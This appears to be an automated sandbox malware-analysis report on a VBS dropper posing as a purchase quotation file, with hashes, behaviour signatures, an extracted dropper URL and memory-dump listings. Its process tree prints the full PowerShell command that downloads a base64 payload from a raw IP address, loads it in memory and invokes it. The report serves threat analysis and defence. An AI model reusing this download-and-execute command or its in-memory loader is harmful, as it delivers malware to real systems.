Analysis

  • max time kernel
    37s
  • max time network
    42s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    02/12/2022, 17:24

General

  • Target
    R.F.Q-PMP-100000pcs.vbs
  • Size 185KB
  • Sample221202-vyrjpace5x
  • SHA256 c5f181c355f5c44bd83b1acfad4d363f3a3d88d719b5c76cbbc0d1c568bb68a0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://4.204.233.44/DLL/NoStartUp.ppam

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\R.F.Q-PMP-100000pcs.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/DLL/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.hjfjhfjhgdgdgfzfgf/42.021.871.591//:ptth'))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1868

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1672-54-0x000007FEFBC01000-0x000007FEFBC03000-memory.dmp

        memory/1868-57-0x000007FEF4260000-0x000007FEF4C83000-memory.dmp

        memory/1868-59-0x0000000002724000-0x0000000002727000-memory.dmp

        memory/1868-58-0x000007FEF3700000-0x000007FEF425D000-memory.dmp

        memory/1868-60-0x000000000272B000-0x000000000274A000-memory.dmp

        memory/1868-61-0x0000000002724000-0x0000000002727000-memory.dmp

        memory/1868-62-0x000000000272B000-0x000000000274A000-memory.dmp

        memory/1868-63-0x0000000002724000-0x0000000002727000-memory.dmp

        memory/1868-64-0x000000000272B000-0x000000000274A000-memory.dmp